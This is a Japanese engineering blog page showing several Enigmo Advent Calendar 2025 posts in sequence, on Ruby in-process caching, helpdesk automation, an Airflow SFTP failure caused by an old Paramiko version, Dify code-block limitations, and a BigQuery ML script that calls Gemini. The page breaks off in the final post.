↩ https://cloud.google.com/composer/pricing?hl=ja#cloud-composer-pricing ↩ https://docs.cloud.google.com/workflows/docs/reference/googleapis ↩ https://docs.cloud.google.com/sdk/gcloud/reference/workflows ↩
アバター
WEBアプリケーションエンジニア の小松です! プロセス内キャッシュの挙動に馴染みがなかったので、どういう挙動なのか。 ネットワーク越しのキャッシュとの使い分け。 他言語との比較で Rails 特有の仕様なのかどうか。 という疑問が湧いたので調査し、それを記事にしました。 この記事は[ Enigmo Advent Calendar 2025 ]の16日目の記事です。   ローカルキャッシュとは何か 今回直面した疑問と調査内容 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い 実際に採用したコード Rails 特有の挙動 Rails サーバーが複数台ある場合の挙動 キャッシュとしての位置づけの違い この仕組みは Ruby 特有なのか Java Go PHP Node.js まとめ   ローカルキャッシュとは何か ローカルキャッシュとは、 Ruby プロセス内のメモリに値を保持し、同じプロセス内であれば何度呼び出されても再計算や再読み込みを行わない仕組みのことを指す。 Ruby では次の構文がある。 @config ||= YAML.load_file("config/settings.yml") この構文は最初の一回だけ YAML.load_file が実行され、以降はメモリに保持された @config が返される。 Rails プロセスが動いている限り、この値は保持され続ける。 今回直面した疑問と調査内容 実際に自分が直面した疑問は次のようなものだった。 Rails サーバーが複数ある場合、各プロセスごとにキャッシュされるということは、そもそも「キャッシュ」と言えるのか Memcached や Redis など外部キャッシュと比べて本当に速いのか 毎回 インスタンス 変数に保存するだけで高速化されるように見えるが、仕組みとして本当に正しいのか そもそもこれは Rails の仕様なのか、 Ruby の仕様なのか 他言語ではどう実現しているのか これらを順番に整理していった。 「ディスク IO を避けたいだけなら」プロセス内キャッシュが最も速い Rails .cache( Memcached /Redis)のキャッシュも高速だが、必ずネットワーク越しの通信が発生する。 クラウド 環境であれば数百マイクロ秒〜数ミリ秒のオーバーヘッドが加わる。 一方、プロセス内キャッシュは Ruby プロセスが持つメモリに直接アクセスするだけで、ネットワークもディスクも介さない。 最短経路でデータにアクセスできるという点では最速になる。 ただし、これは「ローカルに存在する静的データ」に限った話である。 更新頻度が高いデータには適さない。 実際に採用したコード 今回検討していたコードは次のような YAML 読み込み処理だった。 def contents(condition) yaml = YAML.load_file('config/item_cate_desc.yml') # 以下ロジック... end これでは毎回ファイルを読み込み、ディスク IO が発生するため遅い。 そこで、次のように改善した。 def item_cate_yaml @item_cate_yaml ||= YAML.load_file('config/item_cate_desc.yml') end この1行によって、「最初の一回だけ読み込む」処理に変わる。 後はメモリに保持され続けるため、各リクエストで読み込む必要がない。   Rails 特有の挙動 Rails のコントローラで インスタンス 変数を使っても、それはリクエストごとに新しく生成されるオブジェクトに所属するため、キャッシュとしては機能しない。 キャッシュとして効くのは、プロセスが生きている限り保持され続ける「クラス インスタンス 変数」や「クラス変数」の方である。 PHP のようにリクエスト終了時にプロセスが破棄される言語とは異なり、 Ruby (特に Rails のアプリサーバー)はプロセス常駐型のため、同じクラス インスタンス 変数へ複数リクエストがアクセスする構造になっている。 この違いが理解しづらく、PHPer には馴染みがなく疑ってすらいたので、 railsアプリではクラスインスタンス変数の注意する #Ruby - Qiita などの記事を参考にしてファクトチェックもしました。   Rails サーバーが複数台ある場合の挙動 ここについても疑問を持ったが、調べた結論は次のとおり。 各 Rails プロセス内で一度だけ読み込まれ、それぞれが独立してデータを保持する よってプロセスを跨いだ共有キャッシュではない ただし配置ファイル( YAML )が全サーバーで共通であれば問題はない プロセス間の同期は不要で、むしろ高速 「複数サーバーだからキャッシュが効かない」という誤解があるが、ローカルキャッシュは各プロセス単位で成立するため問題ない。 キャッシュとしての位置づけの違い データの性質に応じてどのキャッシュを選ぶべきか整理すると次のようになる。 種類 特徴 向いているケース プロセス内キャッシュ 最高速。プロセスごと独立。データ変更には弱い 設定ファイル、マスターデータ Rails .cache( Memcached /Redis) 共有キャッシュ。通信が必要 変更頻度がありサーバー間で共 通化 したいデータ DB キャッシュ 一貫性は高いが IO コストあり モデルデータ 今回のような静的な YAML データであれば、間違いなくプロセス内キャッシュが適している。 この仕組みは Ruby 特有なのか Ruby の ||= を使ったプロセス内キャッシュは極めて自然で扱いやすい。 もちろん他の言語でも似たことはできるが、次のように比較すると Ruby の簡潔さが際立つ。 Java static 変数+ダブルチェックロックなど同期処理が必要で、明らかにコードが冗長。 Go sync.Once を使う必要がある。 パッケージスコープの変数は設計上の制約も多い。 PHP そもそも 1 リクエスト 1 プロセスのため、プロセス内キャッシュという概念が成立しない。 APCu など外部拡張に頼る必要がある。 Node.js モジュールキャッシュにより Ruby に近い感覚で扱えるが、副作用の管理が必要で Ruby の手軽さとはやや異なる。 Ruby はプロセス常駐型で、かつクラス インスタンス 変数が自然にキャッシュとして機能するため、他の言語と比較して特に扱いやすい。   まとめ 今回の検討で分かったのは、次のような点である。 Ruby の @var ||= ... によるローカルキャッシュは、非常に手軽に使える最速のキャッシュ方式 複数サーバーでも問題なく、各プロセスが独立してキャッシュを保持する Memcached や Redis より速いのは、ネットワーク通信が一切ないため データの性質に応じてキャッシュ方式は使い分けるべき 他言語でも実現は可能だが、 Ruby ほど自然で簡潔な形にはならない 静的な設定データを高速化したい場面では、最初に検討すべき手法と言える。   明日17日目はAIテクノロ ジー グループの太田さんです。  
アバター
こんにちは、コーポレートエンジニア(コーポレートITチーム)の藤田です。 この記事は Enigmo Advent Calendar 2025 の15日目の記事です。 コーポレートIT(以下CO-IT)の業務において、地味ながらも非常に重要な「ヘルプデスク業務」についてお伝えします。 「どのようなツールを使って、どのようなフローで対応し、どうやってナレッジを残しているのか」 普段あまり表に出ることのない、運用の裏側をご紹介しようと思います。 自己紹介 なぜこの記事を書くのか エニグモのヘルプデスク構成要素 ヘルプデスク対応のフロー 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 出口の設計:「個人の記憶」ではなく「組織の記録」へ 改善の設計:対応して終わりではなく「減らす」までが業務 今後の展望 おわりに 自己紹介 本題の前に少し自己紹介をさせていただきます。 私は今年3月に エニグモ に入社いたしました。 エニグモ へ入社する前は、鉄骨製作会社の 情報システム部門 で働いており、いわゆる「一人情シス」として働いていました。それ以前は システムエンジニア として開発業務に携わっていた経験があります。 なぜこの記事を書くのか 過去のAdvent Calendarでは、入社エントリーやチームビルディングに関する記事はありましたが、具体的な「CO-ITの業務内容」にフォーカスした記事はありませんでした。 そこで今回は、社内外の方に「 エニグモ のCO-ITって具体的にどんな業務をしているの?」を知っていただくため、主業務の一つであるヘルプデスクについて深掘りしてみたいと思います。 (他のCO-ITメンバーが作成した記事もぜひ目を通してみてください!) 過去の入社エントリー記事: 元SEがコーポレートエンジニアに転職してみた - エニグモ開発者ブログ チームビルディングに関する記事: enigmo(BUYMA運営企業)のコーポレートIT(社内SE・情シス)運営方法と将来像 - エニグモ開発者ブログ エニグモ のヘルプデスク構成要素 まず、問い合わせ対応に使用しているツールを紹介します。  Slackワークフロー : 問い合わせ受付からナレッジ化までのデータ入力インターフェース。 Google スプレッドシート : ログの集約・一時保管・ID管理 Zapier : ツール間の連携・自動化 Asana : タスク・ 進捗管理 ヘルプデスク対応のフロー 実際の問い合わせから完了までの流れは、以下のように自動化されています。 極力、人の手による「転記作業」をなくすように設計しています。 【User】 問い合わせ入力   ユーザーがSlackワークフローから問い合わせ内容を入力します。 【System】 自動起票・通知   問い合わせ内容が自動的に Google スプレッドシート へ転記されます。   同時にCO-ITの「問い合わせ対応チャンネル」に通知が飛びます。 【CO-IT】 担当者 アサイ ン   通知に対し、CO-ITメンバーが「担当します」ボタンをクリック。   Asanaのタスクに担当者名が自動入力されます。 【CO-IT】 対応・解決   実際の調査・対応を行います。 【System】 クロージング・ナレッジ化   対応完了後、Slackワークフローに対応内容を入力。   Asanaが「完了」ステータスに更新され、対応内容が記録されます。   最後に「問い合わせナレッジチャンネル」へ内容が自動投稿されます。 運用における3つのこだわり 入り口の設計:「優しさ」と「セキュリティ」の両立 問い合わせの入り口は、内容の性質に合わせて「オープン」と「プライベート」の2つのワークフローを用意しています。 オープン問い合わせ  用途:PCトラブルや仕様確認など、他のユーザーと共有しても有益な内容。 プライベート問い合わせ  用途:人事関与など、秘匿性の高い内容。 これにより、ユーザーは適切な窓口を選択することで、セキュリティと利便性を両立させています。 出口の設計:「個人の記憶」ではなく「組織の記録」へ ヘルプデスク業務において最も避けたい事態は、「 過去に同様の問い合わせがあったはずなのに、どう解決したか分からない 」という状況です。特に、退職したメンバーしか詳細を知らない案件などが ブラックボックス 化してしまうと、組織としての対応力は大きく低下してしまいます。それを解決するために、以下の2点の取り組みを行なっています。 あらゆる対応をナレッジ化する 突発的な相談や、日々のコミュニケーションの中で偶発的に発生した問い合わせに関しても、漏れなく記録・管理できる仕組みを整えています。「入り口」は柔軟に受け入れつつも、最終的にナレッジとして蓄積することで、情報の散逸を防いでいます。 自動的な情報の共有と蓄積 対応フローの最後に「問い合わせナレッジチャンネルへの自動投稿」を組み込んでいます。これにより、対応した担当者が不在でも、Slack上でキーワード検索をするだけで過去の類似事例や経緯を即座に引き出すことが可能になります。 「誰か一人が知っている」ではなく「組織全員がいつでも引き出せる」状態を作ること。これが エニグモ のヘルプデスクです。 改善の設計:対応して終わりではなく「減らす」までが業務 ただ問い合わせを捌くだけでは、業務は改善しません。 私たちは月に一度、チーム内で「問い合わせに関する会議」を実施しています。 ここでは、その月の問い合わせ件数の推移を確認するだけでなく、頻発した問い合わせ内容について深掘りを行います。「なぜその問い合わせが発生したのか」「根本解決のためにどのような対策が必要か」「今後は対応方針をどう変えるべきか」を議論し、再発防止や業務フローの改善につなげています。 今後の展望 次なるステップとして「AI活用」を見据えています。 具体的には、これまでに蓄積されたナレッジデータを学習データとして活用し、生成AIによる「一次回答の自動化」や、担当者への「類似回答のレコメンド」機能の実装などに挑戦していきたいと考えています。 問い合わせ対応のスピードと質をさらに向上させ、ユーザーにとっても解決までの時間を短縮できるような環境を目指します。 おわりに ヘルプデスク業務は、一般的に「雑用」や「誰でもできる仕事」と捉えられがちかもしれません。 しかし、 エニグモ ではこの業務に非常に力を入れています。なぜなら、私たちは「来た問い合わせをただ捌くこと」がゴールだとは考えていないからです。 問い合わせの内容を分析し、「 どのように問い合わせそのものを減らせるか 」「 ユーザーがストレスなく業務を行える環境を作れるか 」を追求し続けること。これこそが、 エニグモ におけるヘルプデスク業務のあり方だと考えています。 明日の記事の担当は アプリケーション開発グループ の 小松さんです。お楽しみに。
アバター
こんにちは!WEBアプリケーションエンジニアの小松です! 今まで主に EC サイトの WEB エンジニアとして仕事をしてきて、Airflow を触るようになったのは エニグモ に入社してからでした。 BUYMA では、広告媒体向けのフィード生成や外部パートナーとのデータ連携、在庫データの収集など、毎日大量に発生する バッチ処理 を Airflow に任せています。 人手では絶対に回せない規模なので、Airflow は影の立役者のような存在です。 そんな Airflow を動かしている基盤が Google Cloud Composer なのですが、 会社全体でオンプレサーバーから クラウド へ移行していく流れ の中で、Composer も新しいバージョンへ移し替えることになりました。 「まあ普通に移行できるだろう」と思っていたら、まさかの沼にハマってしまい…… 同じ罠に落ちる人が一人でも減りますように、という気持ちでこの記事を書いています。 この記事は[ Enigmo Advent Calendar 2025 ]の13日目の記事です。   結論(先に言います) 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー ② コマンド実行では成功する ③ Python(paramiko)でも成功する ④ 「Airflow からだけ接続できない」という地獄に突入 ⑤ 試行錯誤の果てに見えてきた「署名アルゴリズム問題」 ⑥ Airflow(Paramiko)は署名アルゴリズムを指定できない ⑦ Composer の paramiko を確認すると…古い! ⑧ Composer をアップグレード → 一発成功 技術的まとめ:今回の本質 回避策(原理上) 最後に:今回の教訓 結論(先に言います) Airflow の GCSToSFTPOperator が突然 SFTP 認証できなくなった原因は… Composer が入れている Paramiko のバージョンが古く、 RSA 署名 アルゴリズム がサーバーに拒否されたから。 つまり、 コマンドからは接続できる Python の Paramiko スクリプト でも接続できる でも Airflow からだけ認証エラーになる という、最悪に分かりづらい症状が発生していました。 何が起きていたのか(時系列で紹介) ① Composer 移行後、SFTP アップロードだけエラー Airflow 2 → Composer の新環境に移行した際、 GCSToSFTPOperator だけが謎の認証失敗。 ログにはこれだけ:   Bad authentication type; allowed types: [ 'publickey' ] 鍵は設定済みのはずなのに、Airflow だけ失敗。謎が深まる。 ② コマンド実行では成功する Docker コンテナに入り、   sftp - i pri .key sftp .host .com → 成功。 設定ミスではないと確信。 ③ Python (paramiko)でも成功する 「Airflow がダメなら paramiko 生で試すか」と思いテストコードを書くと… → 普通に成功。 つまり、Airflow 経由でのみ認証が弾かれている。 ④ 「Airflow からだけ接続できない」という地獄に突入 Airflow → SFTPHook → SSHHook → Paramiko このどこかが悪いのは確実だが、Extra の書式を変えても、パラメータを変えても改善しない。 Airflow のログは詳細な理由を出してくれない。 完全に暗闇の中を歩く状態。 ⑤ 試行錯誤の果てに見えてきた「署名 アルゴリズム 問題」 Docker の sftp でのみ発生していたエラー:   sign_and_send_pubkey: no mutual signature supported ここでようやく糸口が見えた。 サーバー: rsa -sha2-256/512 を要求 古い Paramiko: ssh - rsa ( SHA1 )署名を使ってしまう → サーバーが拒否 という構図。 ⑥ Airflow(Paramiko)は署名 アルゴリズム を指定できない OpenSSH のように   -PubkeyAcceptedAlgorithms =ssh-rsa といった強制は Paramiko では不可能。 つまり: Airflow から署名 アルゴリズム を変更するすべがない 古い Paramiko を使っている限り絶対に成功しない という仕様の問題。 ⑦ Composer の paramiko を確認すると…古い! Composer 内で   pip freeze | grep paramiko すると…… → 2.7 系(古い) → rsa -sha2 に未対応 原因が完全に確定。 ⑧ Composer をアップグレード → 一発成功 Composer の Airflow イメージをアップデートし、 Paramiko が 2.9+( rsa -sha2 デフォルト対応) に更新 その瞬間、 → GCSToSFTPOperator が何事もなく成功。 設定は一文字も変えていません。 完全にバージョン差の問題でした。 技術的まとめ:今回の本質 問題の本質はこれ: GCSToSFTPOperator → SFTPHook → Paramiko が SHA1 署名( ssh - rsa )しか使えず、外部サーバーが RSA -SHA2 を要求していたため認証が失敗した。 回避策(原理上) 方法 可能? 説明 Paramiko を 2.9+ にアップグレード ◎ 今回の完全解決策 key_file 形式で渡す △ Composer では鍵配置がやや面倒 RSA 鍵を SHA2 対応形式へ変換 ❌ 問題は鍵ではなくクライアント側 SFTP サーバーに設定変更を依頼 ❌ 外部企業のため不可能 最後に:今回の教訓 「Airflow だけ接続できない」→ Paramiko のバージョンをまず疑うべし Airflow のログは認証まわりが不親切で根本原因が見えづらい Composer は内部ライブラリが固定なので、移行時に“バージョン 差事 故”が起きやすい 結局のところ、問題の 9 割は Airflow が使っているライブラリのバージョン差 数日単位で調査し、無数のテストを書き、ようやく原因に辿り着いたので、この記事が誰かの時間を 30 分でも節約できたら嬉しいです。   明日12/14の記事はインフラエンジニア森田さんです。お楽しみに。
アバター
こんにちは、AIテクノロ ジー グループの辻埜です。 本記事は Enigmo Advent Calendar 2025 の12日目の記事です。 普段はデータサイエンティストとして 機械学習 を用いたシステムの開発運用や、社内のAI活用推進を担当しています。 近年、生成AIの活用が進む中で、 エニグモ でも社内のAI活用を推進するため、Difyという生成AIアプリ開発ツールを活用した取り組みを行っています。Difyは非エンジニアでもAIを組み込んだワークフローを簡単に構築できるツールです。 dify.ai 社内での導入初期に、使い勝手はどうか?どんな場面で有用か?を調査するため自分でも使ってみたところ、いくつかの課題に直面しました。 この記事では、実際にDifyを使ってワークフローを構築するにあたって苦労した点についてご紹介します。Difyを導入検討している方や、すでに使用している方の参考になれば幸いです。 なお、記事内でDifyのセキュリティ機能の変更について触れていますが、今回の用途としては完全に社内の一部ユーザーに閉じた環境での使用だったため、変更内容に問題がないと判断した上で実施しています。 外部に公開する場合や、不特定多数の利用者によって使用される場合は、セキュリティには十分ご注意ください。 前提(使用した環境) Difyのバージョン: 1.4.1 利用形態: セルフホスト版 実行環境: Compute Engine( GCP ) Difyでやったこと 今回構築したのは、 スプレッドシート から情報を読み込んで、外部 API で取得した情報と結合して、新しい スプレッドシート に出力するというワークフローです。 Difyではブロックという単位で機能を繋げていき、ワークフローを構築していきます。ブロックには様々な種類があり、IF/ELSE処理やLLMの呼び出し、RAGの実装まで GUI 上で簡単に構築ができます。 最初はそれらのブロックを組み合わせてワークフローを構築していたのですが、データをあれこれ変換しようとするとだんだんと標準ブロックだけでは対応が難しくなっていきました。 そんな私のようなわがままなケースに対応するため、Difyでは「コードブロック」を使用することで、 Python コードを実行して自由に処理をすることができます。普段コードを書いている身からすると、やりたいことをささっと記述して実現できるのでとても便利な機能でした。 コードブロックの落とし穴 少々複雑な処理もコードを使ってしまえば簡単にかけてしまうためとても便利なのですが、使っているとなかなか思うように使えず苦労するケースがいくつかでてきました。 1. エディタの機能が限定的 Difyのコードブロックは、ブラウザ上で動作する簡易的なエディタで、簡単な シンタックス ハイライトはあるものの、近年のエディタに搭載されているような各種機能は搭載されていません。 そのため、普段使っているエディタのショートカット機能などが使えない他、最近流行りのAIエディタのようなコード補完機能も使うことができませんでした。 どうしてもAIの力を借りたい時にはローカルのエディタでコードを書いてから、Difyにコピー&ペーストするという手間が発生しました。 2. 外部ライブラリを使う方法が難しい さらに使っていくと、外部ライブラリを使いたい時に簡単に導入することができないことに気づきました。 コードブロックではデフォルトでは実行環境に事前にインストールされているライブラリしか使用できず、使いたい外部ライブラリがある場合は自分で一手間加えて導入する必要があります。 ライブラリの指定 外部ライブラリを使うには、まず リポジトリ 内の ./docker/volumes/sandbox/dependencies にある python-requirements.txt にライブラリの追加をする必要があります。 書き方は通常の Python の requirements.txt と同じです。 pandas==2.3.3 gspread==6.2.1 システムコール の許可 python-requirements.txt の変更が完了したら、次に システムコール を許可する設定を行う必要があります。 Difyではセキュリティのため、デフォルトでは使用できる システムコール が制限されています。外部ライブラリを使おうとすると システムコール が呼び出せずエラーが発生するケースがあり、その際に対応が必要になります。 許可する システムコール は、 docker/volumes/sandbox/conf/ にある config.yaml の中で設定が可能です。 以下のように allowed_syscalls に許可する システムコール を追加することで、 システムコール を使用できるようになります。 allowed_syscalls: [0, 1, 2, 3, 4, 5, ..., 336] 外部ライブラリを使うハードルが想像以上に高く、この時点ですでに通常では想定されていない使い方をしてしまっているんだろうなと感じました。 3. コードブロックで外部への API アクセスができない 上記の設定で外部ライブラリは使用できるようになったものの、次は外部 API を呼び出す処理でネットワークエラーが発生しました。 Difyでは、コードブロックが実行される際には、外部と隔離された専用のSandbox環境(実体はコンテナ)内で実行されるため、安全に開発を進めることができます。エラー発生の状況から原因はそこが怪しいと推測し、調査を進めました。 ./docker/docker-compose.yaml をみてみると、 サンドボックス コンテナが ssrf_proxy_network という名前の専用のネットワークを使用していることがわかりました。 また、プロキシの情報を 環境変数 ( HTTP_PROXY と HTTPS_PROXY )で指定していることがわかりました。 # (一部抜粋) sandbox : environment : HTTP_PROXY : http://ssrf_proxy:3128 HTTPS_PROXY : http://ssrf_proxy:3128 networks : - ssrf_proxy_network 最終的に、他のコンテナで使われている default というネットワークを追加し、プロキシが使われないよう HTTP_PROXY と HTTPS_PROXY を コメントアウト することで、外部 API を呼び出すことができるようになりました。 # (一部抜粋) sandbox : environment : # HTTP_PROXY: http://ssrf_proxy:3128 # HTTPS_PROXY: http://ssrf_proxy:3128 networks : - ssrf_proxy_network - default # 追加 4. テストが書けない 通常のソフトウェア開発では、 単体テスト や統合テストを書くことで、コードの品質を担保し、 リファクタリング や機能追加を安全に行うことができます。一方でDifyのワークフローは、 GUI 上でブロックを配置して接続する形で構築するため、テストコードを記述できず、テスト フレームワーク を使って自動テストを実行することができませんでした。 一応ブロック単位で実行する機能があるため、一部の処理はその機能を活用して入出力を確認しました。しかし、入力がリスト形式の場合はうまくデータが渡せなかったり(本当はやり方があるのかもしれません)、前のブロックの入力が複雑な場合はそれを用意するのも大変なため、なかなか思うようにテストができませんでした。 最終的には実際にワークフローを実行して結果を目視で確認するしかなく、本当に自分の想定する挙動が実現できているのか、バグが仕込まれていないか、いつも以上に気を張って開発する必要がありました。 5. デバッグ が難しい さらに苦しかったのが、エラーが出た時の デバッグ の難しさです。 簡単なエラーであればエラーメッセージから問題の内容を読み取ることができすぐに解消できるのですが、使っているライブラリの中でエラーが出た場合や実行環境の問題でエラーが出た場合などは、エラーメッセージからは原因が読み取れず、print デバッグ 等もできなかったため、原因を特定するのにとても時間がかかりました。 具体的には、ワークフローがtimeoutで止まってしまうケースなどがありました。最終的には ロードバランサー の タイムアウト 設定が原因だったのですが、コードのどこで止まっているのか、なぜ止まっているのかもわからず、ログにも何も出力されないので、結局根本原因の特定までに1ヶ月近くを要しました。 6. ブロック間でのデータ受け渡しが難しい Difyのワークフローではブロック間でデータを受け渡すことができますが、データの受け渡し方法が独特でした。 コードブロックの出力としてはいくつか型を指定することができ、 String や Number 、 Array[Number] など基本的な型は使用できるようになっています。しかし、複雑な型を扱いたい場合には、 Object という型を指定して、 Python の辞書型に変換して受け渡す必要があります。 私の場合はPandasの DataFrame をコードブロック間で受け渡したかったのですが、これを Object として受け渡す必要があり、毎回 DataFrame 型から dict 型に変換しては戻すという余分な処理を入れなければいけませんでした。 さらに、ブロック間で受け渡しができるデータサイズや文字数、オブジェクトのネストの深さなどにも制約があり、これらを超える場合はエラーが発生してしまいます。 一部については上述の docker-compose.yaml ファイルや ./docker/.env ファイルなどをいじることで対応できるものもありますが、設定方法についてはドキュメントにも記載がなく、 ソースコード を読んだり リポジトリ のissueをあさって調べる必要がありました。 7. バージョン管理ができない 通常のソフトウェア開発では、Gitなどの バージョン管理システム を使用して、コードの変更履歴を管理します。 しかし、Difyのワークフローは、 GUI 上で構築されるため、Gitで直接管理することができませんでした。 Difyにも変更履歴機能があるのですが、一度セッションが切れてしまうと履歴が失われてしまうため、変更履歴をきちんと管理するには不十分でした。 対応策として、ワークフローのエクスポート機能を活用しました。定義したワークフローは DSL 形式で出力できるため、出力されたファイルをGitで管理することで擬似的にGitでのバージョン管理を実現しました。 毎回手動で行う必要があったり履歴の確認や復元に手間がかかるため、完全な再現とまでは行きませんが、少なくとも変更履歴を管理できたので大きく困ることはありませんでした。 さいごに この記事では、エンジニアの視点からDifyを使用した際に苦しんだ点についてご紹介しました。 データを加工するなどある程度複雑な処理を行う場合には、純粋にコードを書いてシステムとして構築する方が良いと感じました。 おそらく本来はコードブロックを多用するような使い方ではなく、基本的にはすでに用意されているブロックを組み合わせて使うような使い方を想定されているため、情報が少なかったり設定がしづらかったりするのだと思います。 一方で、社内では非エンジニアの方がDifyを使いこなしてチャットボットを作り込んでいる事例もあり、 GUI で簡単に生成AIを組み込んだワークフローが構築できるという点では非常に革新的なツールだと感じています。 利用者のニーズや用途に合わせて適切な場面で活用していきたいですね。 明日の記事の担当はエンジニアの小松さんです。お楽しみに! 参考文献 Introduction - Dify Docs Introduction to DifySandbox - Dify Blog 株式会社 エニグモ すべての求人一覧 hrmos.co
アバター
こんにちは、AIテクノロ ジー グループの竹田です。 本記事は Enigmo Advent Calendar 2025 の11日目の記事です。 本稿では、BigQueryで抽出したデータに対して「金額に関する記述が含まれているか」をAIで判定する方法を、段階的に進化させながら紹介します。 この記事を書いた背景 私は元々検索システムの運用保守やMLOpsの Ops 周りを担当していました。 しかし、ここ最近は生成AIが実用的なツールとして利用できるようになり、業務でもAIを活用した対応が急増しています。 そんな中で直面したのが、「BigQueryで抽出した大量のテキストデータに対して、AIで判定処理を行いたい」というニーズです。 最初は手動で試し、次第に自動化・効率化を進めていく中で、いくつかの実装パターンが見えてきました。 本記事では、その試行錯誤の過程を「段階的な進化」として整理し、それぞれのアプローチのメリット・デメリットを共有します。 なお、本稿では「金額に関する記述の判定」を例として取り上げていますが、この手法は他の様々な判定タスクにも応用可能です。 同じような課題に直面している方の参考になれば幸いです。 やりたいこと アンケートやレビューデータなど、テキストデータの中から「具体的な金額や価格に関する言及があるもの」だけを抽出したい!というシチュエーションを想定します。 例えば: - 「この製品の価格は10万円ですか?」 → Yes(金額の言及あり) - 「見た目の高級感に対する満足度は?」 → No(金額の言及なし) - 「製品の質感に対するニュアンスで高い評価はあるか?」 → No(金額の言及なし) こういった判定を、ルールベースだけでは難しいケースもあるので、AIの力を借りてやってみます。 アプローチ1: BigQueryコンソール → Spreadsheet → Gemini(手動) まずは一番シンプルな方法から。BigQueryでデータを抽出して、 Google スプレッドシート に保存し、Geminiを使って判定させる方法です。 Step 1: BigQueryでデータを抽出 BigQueryコンソールで以下のようなクエリを実行します。 SELECT t.original_text FROM ( SELECT ' この製品の価格は10万円ですか? ' AS original_text UNION ALL SELECT ' 見た目の高級感に対する満足度は? ' AS original_text UNION ALL SELECT ' 製品の質感に対するニュアンスで高い評価はあるか? ' AS original_text ) t; BigQueryコンソールでのクエリ実行 実行したら、「Save results」から スプレッドシート に保存します。 Step 2: スプレッドシート でGeminiを使う スプレッドシート に保存したら、右側のGeminiパネルを開いて、以下のようなプロンプトを投げます。 A列の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。 スプレッドシート でのGemini判定 Geminiが各行を判定してくれて、B列に結果が入ります。 この方法の課題 手動作業が多い :毎回クエリ実行→保存→Gemini実行という手順が必要 自動化が困難 :定期的に実行したい場合、かなり面倒 スケールしない :データ量が増えると手作業では限界がある ということで、次のステップに進みます! アプローチ2: BigQuery ML(BQ ML)で自動化 BigQuery MLを使えば、BigQueryの中から直接Geminiを呼び出せます。これで自動化の道が開けます! 実装 スクリプト 全体 以下の スクリプト で一気にセットアップできます。 実行前の注意事項  ・この スクリプト は、 GCP リソースの作成やIAM権限の変更を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与など、プロジェクトに対する十分な権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、 CONNECTION_REGION や MODEL_DATASET_ID などの変数も環境に合わせて調整してください  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・BigQueryリモートモデル( gemini_flash )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにVertex AI User権限) #!/bin/bash export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CONNECTION_NAME="llm_connection_for_filtering" export MODEL_DATASET_ID="llm_dataset" export MODEL_NAME="gemini_flash" echo "1. 必要なAPIを有効化します..." gcloud services enable \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} # データセットを作成 echo "2. BigQuery データセットを作成します..." bq show --dataset ${PROJECT_ID}:${MODEL_DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${MODEL_DATASET_ID} # 接続を作成 echo "3. BigQuery接続 (Connection) を作成します..." bq mk --connection \ --connection_type=CLOUD_RESOURCE \ --project_id="${PROJECT_ID}" \ --location="${CONNECTION_REGION}" \ "${CONNECTION_NAME}" # サービスアカウントIDを取得 echo "4. 接続のサービスアカウントIDを取得します..." SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null| jq -r '.cloudResource.serviceAccountId') echo "取得したサービスアカウントID: ${SERVICE_ACCOUNT_ID}" # サービスアカウントにVertex AI Userロールを付与 echo "5. IAMロール (roles/aiplatform.user) を付与します..." gcloud projects get-iam-policy ${PROJECT_ID} \ --flatten="bindings[].members" \ --filter="bindings.role:roles/aiplatform.user AND bindings.members:${SERVICE_ACCOUNT_ID}" \ --format="value(bindings.role)" 2>&1 | grep -q "roles/aiplatform.user" >/dev/null 2>&1 if [ $? = 0 ]; then echo "roles/aiplatform.userは付与済みです。" else gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/aiplatform.user" --quiet fi echo "6. リモートモデルを定義します..." cat > remote_model_def.sql <<EOF CREATE OR REPLACE MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\` REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = 'gemini-2.5-flash' ); EOF bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_model_def.sql echo "7. ML.GENERATE_TEXTの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false --nouse_cache <<EOF SELECT t.original_text, JSON_EXTRACT_SCALAR(ml_generate_text_result, '$.candidates[0].content.parts[0].text') AS judgment_result FROM ML.GENERATE_TEXT( MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\`, ( SELECT t.original_text, CONCAT( '以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみ回答してください。文章: ', t.original_text ) AS prompt FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ) AS t ), STRUCT(0.0 AS temperature, 1000 AS max_output_tokens) ) AS t EOF ポイント解説 BigQuery Connection の作成 BigQueryからVertex AIのGeminiにアクセスするための接続を作成します CLOUD_RESOURCE タイプの接続を使います IAM権限の設定 